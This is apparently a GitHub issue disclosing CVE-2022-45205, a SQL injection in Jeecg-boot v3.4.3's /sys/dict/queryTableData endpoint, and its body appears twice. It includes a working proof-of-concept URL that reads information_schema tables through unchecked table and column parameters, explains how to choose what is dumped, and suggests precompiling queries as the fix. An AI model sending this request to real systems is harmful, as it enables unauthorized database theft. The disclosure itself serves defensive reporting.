Jeecg-boot v3.4.3 was discovered to contain a SQL injection vulnerability via the component /sys/dict/queryTableData.
# SysDictMapper.xml
queryDictTablePageList。You can see that no precompiling is performed
<img width="960" alt="截屏2022-10-25 15 24 58" src="https://user-images.githubusercontent.com/60163868/197709842-99880e4f-25e4-4f5a-a2cb-4fa8dcca4db2.png">

# SysDictController.java
<img width="1192" alt="截屏2022-10-25 15 25 29" src="https://user-images.githubusercontent.com/60163868/197709957-cd39a764-b173-4958-ad07-75c31c07c594.png">

# SysDictServiceImpl.java
<img width="807" alt="截屏2022-10-25 15 26 05" src="https://user-images.githubusercontent.com/60163868/197710069-7de3a1d9-616e-4e2d-a5ff-3fc3a5e8fee9.png">

# vuln
There is no control over the user's control over the table, column, and database name, so that the attacker can directly obtain all data

# poc
http://192.168.1.1:8088/jeecg-boot/sys/dict/queryTableData?pageSize=100&table=information_schema.tables&text=table_name&code=TABLE_SCHEMA
There is no control over the user's control over the table, column, and database name, so that the attacker can directly obtain all data
## MySQL background code
<img width="1227" alt="截屏2022-10-25 15 28 13" src="https://user-images.githubusercontent.com/60163868/197710513-13392cf8-cf24-40f8-9866-7f52069dec06.png">

## result in the website
<img width="1889" alt="截屏2022-10-25 15 33 29" src="https://user-images.githubusercontent.com/60163868/197711567-079e07b7-c823-4b96-8d2b-ef2d5be3c52b.png">


pagesize control the result num，and code text  control the column_name you want,table control the tables
# patch
Change to precompile
Verify the fields entered by the user

[CVE-2022-45205]/sys/dict/queryTableData  is affected by sql injection
This is a GitHub Issue
repo:jeecg-boot
owner:jeecgboot
Title : [CVE-2022-45205]/sys/dict/queryTableData  is affected by sql injection
Issue date:

--- start body ---
# SysDictMapper.xml
queryDictTablePageList。You can see that no precompiling is performed
<img width="960" alt="截屏2022-10-25 15 24 58" src="https://user-images.githubusercontent.com/60163868/197709842-99880e4f-25e4-4f5a-a2cb-4fa8dcca4db2.png">

# SysDictController.java
<img width="1192" alt="截屏2022-10-25 15 25 29" src="https://user-images.githubusercontent.com/60163868/197709957-cd39a764-b173-4958-ad07-75c31c07c594.png">

# SysDictServiceImpl.java
<img width="807" alt="截屏2022-10-25 15 26 05" src="https://user-images.githubusercontent.com/60163868/197710069-7de3a1d9-616e-4e2d-a5ff-3fc3a5e8fee9.png">

# vuln
There is no control over the user's control over the table, column, and database name, so that the attacker can directly obtain all data

# poc
http://192.168.1.1:8088/jeecg-boot/sys/dict/queryTableData?pageSize=100&table=information_schema.tables&text=table_name&code=TABLE_SCHEMA
There is no control over the user's control over the table, column, and database name, so that the attacker can directly obtain all data
## MySQL background code
<img width="1227" alt="截屏2022-10-25 15 28 13" src="https://user-images.githubusercontent.com/60163868/197710513-13392cf8-cf24-40f8-9866-7f52069dec06.png">

## result in the website
<img width="1889" alt="截屏2022-10-25 15 33 29" src="https://user-images.githubusercontent.com/60163868/197711567-079e07b7-c823-4b96-8d2b-ef2d5be3c52b.png">


pagesize control the result num，and code text  control the column_name you want,table control the tables
# patch
Change to precompile
Verify the fields entered by the user

--- end body ---
